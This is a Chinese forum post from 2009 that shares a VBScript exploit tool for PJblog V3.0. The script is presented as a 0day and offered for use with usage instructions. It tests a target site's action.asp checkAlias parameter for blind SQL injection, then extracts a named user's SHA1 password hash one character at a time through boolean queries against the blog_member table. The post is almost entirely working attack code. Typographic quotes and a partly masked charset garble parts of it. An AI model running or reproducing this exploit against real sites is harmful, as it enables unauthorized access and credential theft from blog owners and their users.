找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 906|回复: 0

PJblog V3.0 0day Vbs版漏洞利用工具

[复制链接]

11

主题

0

回帖

16

牛毛

初生牛犊

积分
16
发表于 2009-4-24 15:44:32 | 显示全部楼层 |阅读模式 来自 内蒙古兴安盟乌兰浩特市
    If WScript.Arguments.Count <> 2 Then
            WScript.Echo “Usage: Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名”
            WScript.Echo “Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam”
            WScript.Quit
    End If

    attackUrl = WScript.Arguments(0)
    attackUser = WScript.Arguments(1)
    attackUrl = Replace(attackUrl,“\”,”/“)
    If Right(attackUrl , 1) <> ”/“ Then
            attackUrl = attackUrl & ”/“
    End If
    SHA1Charset = ”123****6789ABCDEFJ“
    strHoleUrl = attackUrl & ”ction.asp?action=checkAlias&cname=0kee“”“

    If IsSuccess(strHoleUrl & ”r “”1“”=“”1“) And Not IsSuccess(strHoleUrl & ”and “”1“”=“”2“) Then
            WScript.Echo ”恭喜!存在漏洞“
    Else
            WScript.Echo ”没有检测到漏洞“
            WScript.Quit
    End If

    For n=1 To 40
            For i=1 To 17
                    strInject = strHoleUrl & ” Or 0<(Select Count(*) From blog_member Where mem_name=‘” & attackUser & ”‘ And mem_password>=’” & strResult & Mid(SHA1Charset, i, 1) & ”‘) And ”"1″”=”"1″
                    If Not IsSuccess(strInject) Then
                            strResult = strResult & Mid(SHA1Charset, i-1, 1)
                            Exit For
                    End If
                    strPrint = chr(13) & “Password(SHA1): ” & strResult & Mid(SHA1Charset, i, 1)               
                    WScript.StdOut.Write strPrint
            Next
    Next
    WScript.Echo Chr(13) & Chr (10) & “Done!”

    Function PostData(PostUrl)
        Dim Http
        Set Http = CreateObject(“msxml2.serverXMLHTTP”)
        With Http
            .Open “GET”,PostUrl,False
            .Send ()
            PostData = .ResponseBody
        End With
        Set Http = Nothing
        PostData =bytes2BSTR(PostData)
    End Function


    Function bytes2BSTR(vIn)
        Dim strReturn
        Dim I, ThisCharCode, NextCharCode
        strReturn = “”
        For I = 1 To LenB(vIn)
            ThisCharCode = AscB(MidB(vIn, I, 1))
            If ThisCharCode < &H80 Then
                strReturn = strReturn & Chr(ThisCharCode)
            Else
                NextCharCode = AscB(MidB(vIn, I + 1, 1))
                strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
                I = I + 1
            End If
        Next
        bytes2BSTR = strReturn
    End Function

    Function IsSuccess(PostUrl)

    strData = PostData(PostUrl)
    ‘Wscript.Echo strData
    if InStr(strData,“check_error”) >0 then
            IsSuccess = True
    Else
            IsSuccess = False
    End If
    ‘Wscript.Sleep 500 ’让系统休息一下
  • End Function
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-29 15:35 , Processed in 0.167966 second(s), 33 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表